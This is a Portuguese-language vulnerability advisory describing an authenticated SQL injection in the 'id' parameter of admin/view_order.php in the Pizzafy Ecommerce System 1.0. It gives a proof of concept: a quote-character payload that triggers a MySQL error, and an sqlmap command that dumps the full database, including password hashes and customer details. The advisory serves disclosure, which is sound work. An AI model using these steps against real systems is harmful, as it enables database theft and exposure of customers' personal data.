Injeção SQL no Sistema Ecommerce Pizzafy — `admin/view_order.php`

Detalhes

Campo	Valor
Fornecedor	SourceCodester
Produto	Pizzafy Ecommerce System usando PHP e MySQL
Versão	1.0
Vulnerabilidade	SQL Injection
CWE	CWE-89
Pontuação CVSSv3	7.2 (Alta)
Vetor de Ataque	Rede
Autenticação Necessária	Sim (Administrador)
Pesquisador	Xmyronn
Data	2026-04-11

https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html

Componente Afetado

Arquivo: Pizzafy/admin/view_order.php
Parâmetro: id (GET)

Descrição

O endpoint admin/view_order.php no Pizzafy Ecommerce System 1.0 não sanitiza adequadamente o parâmetro GET id antes de passá-lo para uma consulta MySQL. Um administrador autenticado pode manipular este parâmetro para injetar SQL arbitrário, levando ao comprometimento total do banco de dados.

Prova de Conceito

Navegue para:

http://localhost/pizzafy/Pizzafy/admin/index.php

Faça login com credenciais de administrador.

Passo 2 — Navegue para Pedidos

http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders

Clique em Ver Pedido em qualquer entrada de pedido. Captura de tela 2026-04-11 212116

Passo 3 — Interceptar Requisição no Burp Suite

A requisição GET interceptada se parece com: Captura de tela 2026-04-11 212135

Passo 4 — Disparar Erro SQL

Modifique id=1 para id=': Captura de tela 2026-04-11 212145

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1

Resposta — Erro MySQL exposto:

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15

Passo 5 — Explorar com sqlmap

Salve a requisição em view_order.txt e execute:

sqlmap -r view_order.txt --dump --batch

sqlmap confirmou tipos de injeção:

Tipo	Título
Cego baseado em booleano	AND cego baseado em booleano — cláusula WHERE
Baseado em erro	MySQL >= 5.0 FLOOR baseado em erro
Cego baseado em tempo	MySQL >= 5.0.12 SLEEP
Consulta UNION	Consulta UNION genérica — 11 colunas

Banco de dados completo extraído:

Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings

Dados sensíveis expostos incluem hashes de senhas bcrypt, e-mails de clientes, detalhes de pedidos e configuração do sistema.

Impacto

Um administrador autenticado malicioso (ou atacante que obteve credenciais de admin) pode:

Extrair o banco de dados completo incluindo hashes de senhas
Ler PII sensível de clientes (nomes, e-mails, endereços, números de telefone)
Potencialmente escrever no banco de dados

Referências

SourceCodester — Pizzafy Ecommerce System
CWE-89: Neutralização Incorreta de Elementos Especiais usados em um Comando SQL.

CVE-2026-7394-SQLI

Mais Populares

Sobre